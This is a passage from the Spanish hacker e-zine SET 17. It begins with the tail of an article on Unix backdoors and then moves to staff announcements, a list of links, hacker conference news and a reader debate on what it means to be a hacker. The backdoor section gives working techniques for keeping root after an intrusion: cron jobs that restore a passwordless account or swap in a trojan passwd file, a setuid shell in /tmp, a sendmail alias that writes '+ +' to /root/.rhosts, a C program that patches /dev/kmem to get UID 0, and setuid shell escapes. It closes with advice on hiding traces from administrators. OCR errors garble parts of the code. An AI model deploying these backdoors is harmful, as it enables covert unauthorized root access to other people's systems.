chmod 644 /etc/passwd # or whatever it was
#beforehand
rm ./xa* ./temppass
echo Done...
else
endif
<-->

*** NOTE : MODIFY "YOURUSER" !!

Este programa chekea si esta nuestro usuario en el fichero de password, si no
esta, lo vuelve a meter sin password. Por favor, no seas tan lamer de dejarlo
sin password, ke he visto a mas de uno asi.

Otra posibilidad es ke ponga un sushi cada cierto tiempo:

dead.sh

<++> set_017/backdoors/dead.sh
#l/bin/sh
# Everyone's favorite...

cp /bin/csh /tmp/.yourlittleshell  # Don’t name it that...
chmod 4755 /tmp/.yourlittleshell
<-->

Mejoras: Usa tu imaginacion, hay MILLONES de posibilidades, te muestro ahora
otro CRON cojonudo,pero el Cron, no tiene limites :).

6- CRONOos II.

Este Cron, para mi, es uno de los mejores, lo ke hace es, kopiar el fichero

de password y despues poner como fichero de password otro personal durante un
corto espacio de tiempo (1 minuto por ejemplo), asi, solo tu podras entrar a

la hora ke lo pongas, las 4:30 de la madrugada es buena hora (ATENCION!!! ten
en cuenta ke me refiero 4:30 hora de donde este la makina, ke lo mas posible

es ke si estas hackeando fuera de Espa~a ,cosa ke deberias hacer, la hora no
sea la misma, enterate de la diferencia horaria, con el comando time ves la

hora de alli). Bueno aki pongo el cron:

29 4 * * * /bin/usr/.hiden

Pa el siguiente cron, crea un fichero de password personal /var/spool/mail
llamado .sneaky (0 como sea)

Pon en este porgrama en /bin/usr (o donde kieras :)

.hidden

<++> set_017/backdoors/.hidden

#!/bin/sh

# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com

cp /etc/passwd /etc/.temppass

cp /var/spool/mail/.sneaky /etc/passwd

sleep 60

myv /etc/.temppass /etc/passwd
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7- Sendmail
Edita el fichero /etc/aliases a~ade esta linea:
decode: |/usr/bin/uudecode

asegurate de ocultarla bien en el fichero. El fichero uudecode es un script

).
Aki tienes el script:

uudecode.sh

<++> set_017/backdoors/uudecode.sh
#!/bin/sh
# Create our .rhosts file. Note this will output to stdout.

echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
<>

Ok, Manda mail a decode, en el subjet metes la version uuencodeada del .rhosts.
echo "+ +" | Jusr/bin/uuencode /root/.rhosts | mail decode@victimserver.com

Puedes a~adir cualkier programa de los listados de antes (los diferentes
CRONS) para ke sean ejecutados por el alias. Se imaginativo.

*NOTA: Esta backdoor a mi no me funciona en mi linux. No la he probado en
ningun otro sitio.
Yo la pongo por si acaso......

8- Esta es experimental, al parecer en algunos sistemas (sobre todo linux)
cuando alguien tiene un uid/gid erroneo en el /etc/passwd, el login le pone
uid/gid O, osea root.

Ejemplo:
rmartin:x:x50:50:R. Martin:/home/rmatin:/bin/bash

9- /dev/ikmem. Te imaginas poder acceder a memoria para cambiar tu UID?? , por
bien sencillo ke es..., lo unico ke tienes ke hacer es, como root, dejar

/dev/kmem para ke se pueda leer y escribir siendo kien kiera ke seas,

(aparte de cambiar el UID eso sirve para muuuuuuuchas mas cosas). Bien, el
resto lo hace este programa:

<++> set_017/backdoors/kmemrd.c

/* If /lkmem is is readable and writable, this program will change the user’s
UID and GID to 0. */

[* This code originally appeared in "UNIX security:

A practical tutorial" with some modifications by daemon9@netcom.com */
#include

#include

#include

#include

#include

#include

#include

#define KEYWORD "nomenclaturel”

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)

int argc;
char *argvf[], *envp[];{
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int count, fd;
long where, Iseek();

if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(stremp(KEYWORD,argv[1])){
fd=(open("/dev/kmem",0_RDWR);
if(fd<0){
printf("Cannot read or write to /dev/ikmem\n");
perror(argv);
exit(10);

userlocation=address();

where=(Iseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);

count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);

printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);

userpage.u_ruid=0;
userpage.u_rgid=0;
where=Iseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}
write(fd,&userpage, ((char *)&(userpage.u_procp))-((char *)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0, envp);

}
}/* End main */

#include
#include
#include

#define LNULL ((LDFILE *)0)

long address(¥{
LDFILE *object;
SYMENT symbol;
long idx=0;

object=ldopen("/unix",LNULL);

if(lobject){
fprintf(stderr,"Cannot open /unix.\n");
exit(50);

}

for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
if(!strcemp("_u",Idgetname(object,&symbol))){

fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);

Idclose(object);
return(symbol.n_value);

}

fprintf(stderr,"Cannot read symbol table in /unix.\n");
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exit(60);

Mejoras: Para ke la no cante musso esto, es mejor dejar un SUID script ke

lo ke haga sea dejar /dev/kmem con permisos 666 durante un corto espacio de
tiempo en el cual, ejecutas el programa, claro esta ke el SUID script casi,

casi canta mas ke dejar /dev/ikmem escribible y leible todo el tiempo, tu
decides, el script seria:

chmod 666 /dev/ikmem
sleep 300 # Nap for 5 minutes
chmod 600 /devikmem  # Or whatever it was before

Recuerda darle los permisos 4111.

10- Escapes de shell, bueno, esta otra backdoor a pesar de lo ke parece,
funciona de puta madre y nadie se da cuenta de ella, a no ser ke sea un
hacker de los buenos ke se lo kurra cuando kiere hacerse root, sirve, para
mentener el root (no el acceso), consiste en poner SUID a programas con
escape a shell, como por ejemplo el 'Mail’, asi podras ejecutar el programa y
salir a shell y saldras como root, por supuesto, culakiera puede hacerse root
asi, pero nadie se molesta en comprobar si es root cada vez ke lee un mail.

Osea:

#chmod 4755 /bin/Mail

$ mail

you have new mail.
Bla,bla,bla
Bla,bla,bla
&!/bin/sh

#whoami

root

11-Otras: Hay por ahi muuuuuchos troyanos de programas como su,login (recordad
set 11),passwd,chfn, chsh, etc .... los cuales son tambien backdoors, de

hecho son las mejores, pero a mi me dan muchos quebraderos de kabeza (no
compilan, no encuentras para ese sistema operativo, ....), las backdoors ke

he puesto, funcionan en todos los UNIX, o al menos en casi todos, si en

alguno no funciona, seguro ke solo le tienes ke hacer una peke~a variacion

a la backdoor pa ke funsione.

Manteniendo la backdoor :

El mejor consejo ... Oculta tus rastros, si un admin no se da cuenta de ke
ha sido hackeado, no buscara backdoor alguna, aparte debes de esconder bien
las backdoors. Ten en cuenta una cosa, si el admin descubre ke ha sido hackeado
y es un poco listo, lo mas seguro es ke encuentre tus backdoors (por checksums,
fechas, programas SUID...) asieske, lo primero es poner la backdoor y lo
segundo ocultar tu rastro.

Fuego Fatuo (La KaTeDral).

Para cualkier consulta, mandarme algun programa o sugerencia: fatuo@usa.net
Para insultos, protestas o amenazas de muerte: root@cpd.um.es

*EOF*
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-[ 0x07 ]
-[ PROYECTOS, PETICIONES, AVISOS ]
-[ by SET Staff ] SET-17-

11} Colaboraciones

Pues como tiene que ser. SET necesita de gente con ganas de currar y que
colabore en lo que pueda. Nos vale desde un articulo innovador hasta que
nos pagueis las vacaciones en el caribe.

Siempre se necesitan articulos, y siempre seran bienvenidos. Asi que podeis
escribr sobre:

- Inteligencia Artificial

- Inteligencia Natural

- Mejoras del ladrillo de las comunicaciones
- Quarks

- Marujeos en la red

- Socorrismo informatico

- Socorrismo no informatico

Podeis escribirnos sobre todo aquello que creais interesante y realizarnos
peticiones que creais necesarias. Muchos sois los que habeis pedido temas
relacionados con el John the Ripper, y algunos nos pediais que trataramos
sobre el manejo de herramientas como el SoftICE. No ha faltado tambien
aquel (o aquella, quien sabe) que ha acabado pidiendo mas info sobre las
tripas de NT.

Tambien nos encantara recibir programas escritos por vosotros, como los
que ya hemos recibido y que podeis conseguir en:

http://set.net.eu.org
http:/altern.org/netbul

Asimismo a vosotros seguro que se 0s ocurren mas cosas que podriamos hacer
ylo proponer. Asi que no perdais el tiempo y escribidnos a:

set-fw@bigfoot.com
Muy recomendable que useis la clave PGP de SET que se incluye en la ultima
seccion de la ezine. Y si aun no teneis el PGP, pues a que esperais? Lo
podeis conseguir para los distintos sistemas operativos en:

http://www.pgpi.com

No es dificil de manejar y ademas, es GRATUITO.

13} El correo de SET

A pesar de que nos expulsaran de Geocities y que muchos no hayais sido
capaces de localizarnos hasta este numero, seguimos recibiendo megas y mas
megas de correo. Tanto que a veces se hace materialmente imposible
responderos a todos sin ddejar otras cosas de lado. A la mayoria se 0s
contesta en la seccion de correo, y ya estamos seleccionando al voluntario

que se encargara del correo del grupo.

W SET LIST

Desde el numero 16 tenemos en pie una lista de correo que esta siendo por
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el momento un exito en cuanto a subscripciones se refiere. Esta lista se ha
creado con la intencion de manteneros informados de las novedades de SET mas
relevantes, como la aparicion de un nuevo numero o el traslado de la

pagina.

Tenemos que avisaros de que en esta lista SOLO PUEDEN ESCRIBIR LOS
MODERADORES. Hemos pensado en abrir la lista a la participacion de todo
el mundo, e incluso en crear otra lista para que podais comunicaros entre
vosotros. Eso os lo dejamos a vuestra eleccion, asi que si 0s interesa,

nos escribis a <set-fw@bigfoot.com> contandonos vustra opinion y en SET 18
se tomara la decision.

Ah! Que no se me olvide. Para subscribirse a la lista, escribid un mensaje
vacio a:

set-subscribe@egroups.com

[Para darse de baja un mensaje vacio a
set-unsubscribe@egroups.com]

Tambien podreis hacerlo desde el formulario que se incluye en nuestra web.

11} SET WEB TEAM

Ya habeis comprobado el cambio de look de la web. Todo fue realizado a
destajo por nuestro WebSlave GreeN LegenD. Y como es natural, no da a basto.
Asi que necesita de colaboradores que realmente quieran ayudar con la

web. Los interesados escribid a:

glegend@set.net.eu.org

1}} Formatos

Por fin... Garrulon ha vuelto de sus obligaciones, y ya esta disponible para
echar una mano con los formatos y todo aquello que haga falta. Si alguien
mas esta dispuesto a echarle una mano, pues su direccion es:

garrulon@exterminator.net

1} Agradecimientos
Este es un numero muy especial en lo que a agradecimientos se refiere.

Para empezar, a todos aquellos que nos habeis escrito dandonos mensajes de
apoyo por la perdida de nuestro sitio en Geocities. Os habeis portado
genialmente con nosotros. GRACIAS.

Es de destacar la reaccion de ciertos grupos muy conocidos en el under que
han dado sus muestras de solidaridad, como RareGazz, JJF, Proyecto R...
Para que luego digan que en el under no estamos unidos.

Tambien a aquellos que ante el desanimo que produce ver como un grupo de
indeseables nos denuncia a Geocities han seguido trabajando, dando lo mejor
de si mismos para hacer realidad este numero de SET, la nueva pagina,
establecer los canales de comunicaciones... Ahora si se puede decir que hay
un gran equipo en SET.

Y como no, a todos vosotros, que nos leeis y que tendreis que seguir
soportandonos durante mucho tiempo ;)
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11} Los enlaces a SET

Esta lista de enlaces no esta convenientemente actualizada, pero sirve como
referencia. Y es que la mayoria de los sitios no hacian caso de la
advertencia y todavia no han actualizado sus enlaces a la nueva direccion.
Por eso, para que no tengais que preocuparos por actualizar el enlace,
aparte de aseguraros que no nos vamos a mover en mucho tiempo, apuntad
siempre a:

http://www.thepentaghon.com/paseante
Ahi siempre nos encontraras.

Y bueno, aqui va la lista. Espero que si 0s veis por aqui y aun no
habeis actualizado el enlace, lo hagais en breve, y nos lo comuniqueis.

http://members.xoom.com/GabberMan/hacking.htm GabberMan -Mirror-
http://members.xoom.com/baron_rojo/links.htm
http://members.xoom.com/ccbb/links.htm Crackers Brain
http://members.xoom.com/upset_lion/links.htm  Copias de SET
http://members.xoom.com/lynux/links.html
http://members.xoom.com/matematicas/links.html
http://members.xoom.com/skytrain/set/index.html Dakota, copias de SET
http://members.xoom.com/necrolibro Necronomicon
http://members.xoom.com/Aflame/links.html Disciples of The Art Aflame
http://www.geocities.com/SiliconValley/Horizon/8004/grupos.html Avenger
http://www.geocities.com/SiliconValley/Lab/7379/links1.html
http://www.geocities.com/SiliconValley/Peaks/2450/h_c_p_v.htm
http://www.geocities.com/SiliconValley/Lab/2201/hacker.html
http://www.geocities.com/SiliconValley/Lakes/1707/  Profesor Falken
http://www.geocities.com/SiliconValley/Hills/7910/EZ.htm
http://www.geocities.com/SiliconValley/Hills/9518/links.htm
http://www.geocities.com/SiliconValley/Horizon/2465/Linksz.htm
http://www.geocities.com/SiliconValley/Sector/7227/bookmark.htm
http://www.geocities.com/SiliconValley/Campus/6521/hack.htm SET on-line
http://www.geocities.com/SiliconValley/Hills/8747/ U_taker
http://www.geocities.com/SoHo/Coffeehouse/3948/EcdLinks.htm
http://www.geocities.com/SouthBeach/Surf/2060/cosasraras.html
http://www.geocities.com/Paris/Arc/7824/hackers.html
http://www.geocities.com/SunsetStrip/Towers/1827/agenda.html
http://www.geocities.com/Athens/Forum/7094/enlapag.htm
http://www.geocities.com/Colosseum/Sideline/9497/links.htm Proyecto R
http://www.geocities.com/SoHo/Cafe/3715/
http://www.geocities.com/Eureka/4170/link.htm Gorth BBS
http://www.geocities.com/Baja/Canyon/1232/pagina2.htm
http://www.angelfire.com/mi/JJFHackersTeam/links.html JJF Hackers
http://www.fortunecity.com/westwood/calvin/275/ Lagarto
http://www.fortunecity.com/rivendell/xanth/42/hack.html
http://www.internet-club.com/argentina/oscuro/links.htm  Oscuro
http://www.swin.net/usuarios/nexus9/underground/under.htm
http://www.promega.net/~freedom/links.html
http://www.blackbrains.org/res.htm Black Brains
http://members.tripod.com/%7eprivatelinks/hacking.htm
http://members.tripod.com/~newkers/links.html
http://members.tripod.com/~hacktrax/Enlaces.htm
http://members.tripod.com/~la_katedral_org/links.htm KTD
http://members.tripod.com/~grupo_akelarre/links.html Akelarre
http://www.civila.com/archivos/hispania/JLGallego/gallego2.htm
http://www.paisvirtual.com/informatica/software/moisex/undergro.html
http://www.arrakis.es/~vaguilar/
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http://www.arrakis.es/~enzo/links.htm
http://www.arrakis.es/~toletum/opcion4.htm
http://www.arrakis.es/~jebg/hook/links.htm
http://www.arrakis.es/~egrojl/comunica.htm
http://www.arrakis.es/~adevis/bucanero/index1.htm
http://www.arrakis.es/~jrubi/links.html
http://personal.redestb.es/wiseman/LINKS.htm
http://personal.redestb.es/benigarcia/frontera.htm
http://personal.redestb.es/jquiroga.es/Hacking.htm
http://usuarios.intercom.es/vampus/kultura.html
http://web.jet.es/~simon_roses/weblink.html
http://www.ctv.es/USERS/polito6/links.htm
http://www.audinex.es/~drakowar/Hack/revistas.htm
http://www.audinex.es/~drakowar/Hack/enlaces.htm Drako -Mirror-
http://casiopea.adi.uam.es/~juampe/bookm3.html
http://sipl23.si.ehu.es/groups/proyectos5/chessy/index.htm Chessy’s Paranoid
http://cotopaxi.dyn.ml.org:800/hackuma/  HackUMA
http://moon.inf.uji.es/~hackvi/index.html
http://moon.inf.uji.es/~javi/hidden.html
http://www.tim.upna.es/seguridad/hacker/hack.html
http://www.minorisa.es/homepag/pretor/pok.htm Bonita calavera ;-)
http://www.infsoftwin.es/usuarios/diablin/links.htm
http://www.ictnet.es/%2bmmercade/agenda.htm
http://welcome.to/neptuno SET on-line (Posidon)
http://pagina.de/font/hack.htm Raul Font
http://www.olivet.com/astruc/asvir053.htm
http://www.iponet.es/~vactor/scarta/links/links.html
http://www.fut.es/~jrbb/links.htm
http://www.anit.es/personal/larios/link.htm
http://www.teleline.es/personal/lbg10783/otros.htm
http://www.arroba380.com/enlaces.html

Y ademas, incorporacion de ultima hora (ayer mismo por la tarde, vamos), con
el enlace correctamente actualizado, tenemos la pagina de MaU:

http://members.xoom.com/zine_store/

1}} America

Aun siguen llegando peticiones para ponerse en contacto con gente de
Argentina, para eso, poneros en contacto con esta direccion:

<alenclaud@coopdelviso.com.ar>
Ah!'Y no olvieis informarnos de los avances.
Proyecto R sigue en marcha, y menuda marcha. Podeis localizarlos en:
http://www.geocities.com/Colosseum/Sideline/9497
}}} SET CON

Aun hay mucha gente que nos pregunta por la CON. Muchos ni siquiera saben
que es. Asi que os lo aclaramos en un momento.

Una CON es un CONgresos de gente, que tradicionalmente se referia a fans
de la ciencia ficciom. Hoy dia ese termino es comunmente usado para referirse
a reuniones de todo tipo, en nuestro caso, de hackers.

SET CON era (y es) un proyecto para realizar una CON en Espa~a organizada
por nosotros y contando con la colaboracion de los grupos y la gente que
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quisiera. En estos momentos se encuentra aplazada indefinidamente, pues
no disponemos de mucho tiempo. Pero el proyecto sigue ahi. Si os interesa
participar, solo teneis que escribirnos y veremos que se puede hacer.

Creemos que la idea es buena y con posibilidades. Si alguien se anima
a coordinarlo, que escriba, y veremos de que medios se dispone.

1} Union Latina

En el numero anterior os informabamos de la creacion de este nuevo anillo
de IRC. Es una red que promete y por eso, para los que aun no os habeis
enterado, incluimos aqui la lista de nodos de nuevo.

Union Latina: Comunet (ES, Bilbao): comunet.unionlatina.org
Union Latina: Digital (ES, Madrid): madrid.unionlatina.org
Union Latina: Dragonet (ES, Alicante): dragonet.unionlatina.org
Union Latina: Interlink (ES, Madrid): interlink.unionlatina.org
Union Latina: Lander (ES, Madrid): lander.unionlatina.org
Union Latina: Telebase (ES, Alicante): telebase.unionlatina.org
Union Latina: Tinet (ES, Tarragona): tinet.unionlatina.org

}}} UnderCON 98

Durante los dias 2, 3 y 4 de Octubre de este a~o tuvo lugar en Murcia
la segunda edicion de la UnderCON.

Todo montado en un local semi-abandonado, fue un exito, segun nos
cuentan los asistentes.

A destacar es como llamo la atencion el uso de scanners de radio. Asi
que quien sabe, quizas en SET 18 tengais una sorpresita... "casera"
11} SIMO 98

Y si se celbro la segunda edicion de la UnderCON, pues no podia faltar
el SIMO.

Este a~0 mas restrictivos que nunca, en algunos casos hasta pidiendo
un justificante de la empresa que sellaba la invitacion. (Oiga,

se~orita, que es que yo soy un hacker).

Como viene siendo habitual, se celebro la quedada de linuxeros, y desde
luego, se monto la protesta contra telefonica solicitando la

implantacion de la tarifa plana.

En general, menos gente, mucho traje (Ugh!), mucho portatil y camaras

11} Chaos Computer Club Jarhe Meeting

Sobre la Reunién Anual Chaos Computer Club

30°

Chaos Computer Club Jarhe Meeting
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Dezember 26/27/28
Hamburg
Deutschland
Lugar : CCC HeadQuarters Hamburg

Http://www.ccc.de

Info by GreeN LegenD

No se si sabeis de que va este rollo, pero avisados quedais. La

gente de CCC unos de los principales "CLubs" de Hacking Alemanes
hace su reunién Anual en Hamburgo, para mas informacién sobre esto
si estais interesados en asistir mandadme un e-mail.

Los del CCC trataran casi todos los temas teniendo lugar algunas
conferencias *en Aleman*, pero si realmente quereis ir, no hay
problema dado que estan deseosos de ver mas Hackers Espafioles..

si asistis acordaros de mi, a lo mejor si buscais bien me veis por
ahi.. El idioma que es indispensable es Inglés, que no hableis
Aleman vale pero lo otro es indispensable.

Cuando se confirme la gente que va a hablar os lo haremos saber.
Para que sepais algiin detalle de ellos, son los que hicieron el
Hack de ACTIVE X y demostraron su poca (¢,0 inexistente?) seguridad.

En Alemania hay varios "clubs" de hackers pero el CCC han sido
reconocidos a nivel del gobierno y llamados en varias ocasiones.

Una cosa es el Club, del que cualquiera puede formar parte y otra
son los miembros reales. El Club tiene unos 900 mientros segun
me han informado hace unos dias..

Para mas informacion en como ir, etc..ya sabeis donde dirigir
vuestras preguntas..

Pero a Habmurgo se puede ir en Avion (si eres rico..), en Tren
desde cualquier sitio de Alemania con el Deutch Bahn (DB) y

en Autobus desde nuestra querida capital Madrid, Barcelona y
Bilbao con la compafiia EUROLINES con unos buenos precios para
iry volver..

El alojamiento se puede conseguir facilmente en la red, buscad
Alberges en Hamburg, si teneis pensado ir, hacedlo YA!

Nos vemos en el CCC! Chaos Rules...

- Das Griine Leyende -

}}} SET 18

Nada, como siempre ya estamos pensando en SET 18. Para ese futuro numero

habra algunas sorpresas, o al menos eso estamos intentando.

No os impacienteis porque no queda mucho. Su fecha de salida... algun dia

de Enero de 1999. Y es que eso de la periodicidad bimestral es un poco
agobiante, pero se le acaba cogiendo adiccion.
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Asi que nada, SET 18 en Enero, y el numero 19... pues haced calculos a ver
si adivinais la fecha y lo comprobamos en SET 18 ;)

*EOF*
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-[0x08 ]
-[ FORO DE DEBATE |
-[ by SET Staff ] SET-17-
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En el anterior numero inauguramos esta seccion con la intencion de
fomentar el debate entre la comunidad underground sobre aquellos temas que
de una forma u otra nos implican, y que ademas podeis proponer vosotros.

Es evidente que intenar mantener un debate a lo largo de los nhumeros de
SET puede hacerse eterno. Por eso se 0s animo a colaborar a traves de otras
formas alternativas, como nuestro tablon de anuncios.

Claro, que como nos denunciaron a Geocities, el tablon estuvo casi

desaparecido durante unas semanas, hasta que lo reubicamos en nuestro nuevo

sitio oficial. Y mientras estuvo activo, durante aquellos dos cortos dias
que pasaron entre la salida de SET 16 y la denuncia a Geocities, lo que
primaba en el tablon era insultarnos. Duh?

Volvemos al ataque en SET 17 con esta seccion, pues consideramos
importante que demostremos que para nosotros existe algo mas alla del
teclado (del ordenador o del movil, me da igual). Asi que os mostramos
una de las respuestas obtenidas al tema planteado hace unas semanas. Y de
paso, pues 0s planteamos algunos otros temas.

Como siempre recordaros que esta seccion la haceis principalmente
vosotros, y que podeis participar de multiples formas. Podeis escribirnos
a <set-fw@bigfoot.com>. Tambien podeis expresar vuestra opinion en el
tablon de SET. Y si lo considerais oportuno, podriamos crear una lista
de correo (o usar la existente), para que pudierais debatir sobre estos
temas.

Comencemos ya de una vez con las opiniones de este mes (bimestre tal
vez?:))
_H#_
(00)

| Se puede ser hacker sin ordenador? |

Holas chicos/as de SET;

Antes que nada: soys los mejores y bla, bla, bla, eso ya lo sabeis,
asi que no hace falta que os lo repita y voy al grano:

En vuestro ultimo numero [16], Eljaker y la nueva seccion [Foro de

debate], decian que se puede ser hacker sin tener ordenador, ya que
ser hacker es tener ganas de aprender. Pues bien, en la primera parte
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[ser hacker sin ordenador] no tengo nada que decir, pero eso de ser
hacker por tener ganas de aprender se cae por los dos lados puesto
que, siguiendo la misma definicion, pocas personas no serian hackers,
vamos, a todo el mundo le gusta aprender, y no por eso se considera
hacker. Si todo el mundo que quisiera aprender fuera un hacker las
universidades estarian llenas de hackers [cualquier estudiante, ya
estudie psicologia, bilogoia, matematicas o filologia eslava] y fuera

de las universidades igual: cualquiera que coja un libro o revista o
folleto o asista a un curso seria un hacker, aunque traten de cocina,
albafiileria 0 mecanica, y no por eso son hackers.

Hay muchas deficiones de hacker, en esto no creo que nadie me
contradiga, y algunas definiciones hablan de querer aprender, es
verdad, pero el area de conocimiento que atrae a un hacker son los
ordenadores y las redes, no la carpinteria ni la reposteria. Por eso,
por muchos aceleradores de particulas que tengamos en casa, nunca
seremos hacker por aprender como funcionan, puesto que en casa todos
tenemos hornos para hacer bollos, y alguien que aprenda a hacer bollos
cada vez mejores no es un hacker. El termino hacker va intimamente
ligado a los ordenadores y a las redes y no a otras areas del saber.
Para ser hacker, hay que quere aprender informatica, aunque
naturalmente puedes carecer de ordenador y no por eso dejar de
aprender informatica [y, por lo tanto, ser hacker].

Bueno, hasta aqui he llegado:
Es mi opinion y la comparto
[Hermanos Fernandez y Hernandez, coleccion Tintin]

_H_
(00)

| El hacking en la Union Europea |

‘

Hacking en la Unién (La scene Europea resurge)

by GreeN LegenD

Despues de tomar contacto con Hackers y Phreakers de fuera de Espafia
0s expongo brevemente algunos puntos que creo pueden ser importantes.
Ahora mismo mientras escribo estas lineas acabo de subir el update

del web de set, no veas que descanso que ya esta todo arriba y bien.
Como iba diciendo, en Espafia tenemos el Jamoén serrano y la morcilla,

en Holanda tienen el tulipan y los cofee shops, en Alemania las

salchichas y la cerveza. (ya se me va la pelota...) Cada pais es

distinto asi su Hacking y sus costumbres.

Tenia algunos contactos con gente de fuera hace unos afios

y eso era tan raro para ellos como para mi el hecho de conocer gente

de su mismas "aficiones" de otro pais eurpeo. Ultimamente he estado
recopilando info, de lo que se ve lo siguiente (seguro que algo de

esto y habias oido) muchos hackers creen que esta peninsula nuestra

NO HAY HACKERS, que lo poco que hay son simples intentos que no llegan
a nada y los cuatro gatos no tenemos ni puta idea. Y mi pregunta es
simple ¢Por qué ocurre esto? pues muy facil.. DESORGANIZACION, no
nos conocemos unos a otros. Estoy seguro de que en tu misma ciudad hay
mas de cuatro hackers que tienen un nivel aceptable y otros muchos

que quieren aprender. En Alemania por ejemplo hay reuniones cada dos
semanas de hackers en ciertos lugares, dialogan y compraten info e
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ideas. Seguro que piensas, pero si me reuno como se son hackers o no?
¢y como me libro de los lamers? pues los lamers se libran ellos solos
cuando demuestran que no tienen ni puta idea. Y otro dia cambiais de
sitio de runién y listo. El gran problema de los hackers de habla

hispana (ya no hablo solo de espafia) es nuestra falta de INTER-comuni-
cacion. Buscad por ahi , seguro que hay gente. Espafia (y nuestro hack)
es conocida por su llamarada inicial y poca continuidad. Como solucionar
esto ? pues facil, vete poco a poco y busca colaboradores en mayor o
menor medida. No empieces solo, si no sabes algo pregunta,etc..

En otros paises hay grupos organizados (CCC, DHG, etc..) colaboran entre
ellos y no se matan por un quita me alla esa paja. Por que no os creais
que los hackers de fueran no se enteran de que pasa por estos lares. Se
estan dando cuenta de que Espafia y el hack hispano estan despertando.
Pero tambien reconocen que no es facil, dado que el castellano es una
gran barreray es que en Suecia,Dinamarca,Holanda,Finlandia,Alemania,etc.
Hablan Ingles medianamente bien como cosa comun. Pero de esto no os
responsabilizo, es culpa del "maravilloso" sistema educativo Espafiol.
Haber cuantos de vosotros ahi fuera hablais Ingles y traducir bien con

lo que "deberiais" haber aprendido en BUPs/FPs o lo que sea ? El que

lo haya aprendido que me niege mi teoria. Lo Estudiantes Universitarios
son otro tema, ya hay mas nivel pero no siempre.

En muchos paises se publican folletines de hacking y temas relacionados
en papel, cosa que ni se suefia en Espafia. En resumidas cuentas hemos
recorrido una parte del camino, ahora hay hack en Espafia...ciertas
personas por ahi arriba se empiezan a preocupar... pero no os durmais

en los laureles, hay mucho que hacer todavia. Espafia no solo esta

atras en cosas economicas (aunque lo quieran negar..). Pero no creais que somos
mejores, los virus de Espafia dan la vuelta al mundo y son reconocidos.
Tambien hay gente que despunta con una habilidad especial, pero no

os confies en lo de que Espafia va bien, (y el extranjero no veas ;)

Seguid dia a dia. Mientras que el movimiento Hack crece exponencialmente
agui, en otros sitios esta muy limitado y son pocos. Consejo..

"There is no knowledge that is not power!"

Leer, leer y leer...no hay ninglin conocimiento que no conlleve poder.

Algo mas, como este numero de SET llega antes de la Navidad y la gente
tiene vacaciones juegan y todo eso..

Para los que os gusta jugar y pasar horas muertas jugando pues teneis el
Comandos : Detras de la lineas Enemigas -UN JUEGO- si con mayusculas yo
tengo la versiéon Alemana (si comprada..). Este juego para pedirselo a

Papa Noel o0 a quien sea.. Si eres unos de esos masocas que se bajan un
cd-rip de 100 discos a traves del irc, pues bajatelo. Si eres un poco

mas legal compralo, que conste que yo no apoyo la pirateria, que cada cual
haga lo que quiera. Un producto "made in spain" que ahora mismo bate
records de ventas publicado bajo Eidos Interactive y producido por Pyros.

Un juego realista donde los haya. Te guste o no la estrategia. Ojo a ciertos
detalles como cuando hay un soldado muerto y tienes el Green Beret llevando
un barril, pasa el cursor sobre los soldados y observa. El juego no es

dificil, prueba de ello es que lo acabe en un fin de semana de juego intensivo.
Si alguin sabe como ponerse en contacto con Pyro que me mande un mail para
algunos bugs.

Feliz Navidad... y Comandos (Una Version Bajo Unix sin DX??)

GreeN LegenD - SET
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_H_
(00)

| Serhacker paramies... |

‘ 1

[--{ Ox01 }-1]

Lo que significa el hackin para mi es...

Desde que me interese por el fenomeno "hacker" he tenido ocasion de
leer bastantes documentos que versaban sobre el trasfondo del h/p/a. Unos
cuantos hablaban de la etica del hacker, otros sobre su motivacion, otros
simplemente los describian, otros... Como conclusion de tanto texto he
llegado a pensar que segun algunos autores mi relacion con la informatica
y con las redes (Internet principalmente) soy un hacker en toda regla, en
cambio segun otros autores no soy mas que un 'lamer’ o un imitador de
hacker. Pues bien, no se si soy hacker o no, y la verdad es que tampoco me
interesa saberlo. A lo unico a lo que de verdad le doy importancia es a
saber lo que soy, lo que quiero y el porque, saber que me motiva a hacer lo
gue hago, sin interesarme para nada darle un nombre a eso.

Este escrito no se si sera un articulo de la proxima revista de SET,
un documento que aparecera por ahi perdido en alguna pagina web o simplemente
un mensaje enviado a Paseante, autor del articulo "La importancia de llamarse
hacker" en la SET-14. Lo que si se es que con el tratare de definirme, de
exponer que es lo que hago y porque. Tengo varios motivos para ello, el
primero intentar conocerme un poco mejor a mi mismo pensando en todo esto,
el segundo continuar el debate abierto por Paseante y por ultimo darme a
conocer ante la comunidad que tan bien me recibio el viernes dia 8 de Mayo
en la quedada de Los Saqueadores en Madrid.

Empezare con un breve relato de historia, de mi historia. Nada mas
aparecer los ordenadores caseros (lease ZX-80, Spectrum, Commodore, etc.)
quise uno. Con la edad que yo tenia, mis padres se lo tomaron a cora;
pensaron que seria un juguete mas para un chaval de 7 aros que quedaria
aparcado en algun maletero al cabo de pocos dias. Y tenian razon. Hasta que
3 avos mas tarde no me compraron uno ni yo sabia bien lo que era la
programacion ni los botoncitos, pero resulto que me gusto. Por que cuento
esto?, porque unos aros mas tarde (no muchos) oi de hablar del hacking,
incluso salio una pelicula sobre el tema ("Juegos de Guerra"), y, al igual
que a los siete anos me gustaron los ordenadores sin conocer practicamente
el tema, me gusto el hacking. Desde entonces anduve detras de conseguir un
modem que me costo sudor y lagrimas obtener. Con el, y tras largo tiempo,
conoci las BBS'’s, Internet y por ultimo el hacking. Y simplemente me gusto.
(de momento empleo la palabra "hacking" y derivados como simple descriptora
del hecho de entrar en ordenadores sin permiso o de la persona que lo hace).

Una vez dentro de Internet y de esta onda comence a leer documentos
de hackers que proclamaban la libertad de expresion, la NO existencia de
secretos, etc... incluso algunos identificaban todas esas razones/acciones
con un movimiento: el anarching, donde se incluian tambien los motivos para
el phreaking o el virii. Si nos vamos a cosas mas concretas como es conseguir
tarifa plana para infovia y/o llamadas a nodos de Internet, mantener (o
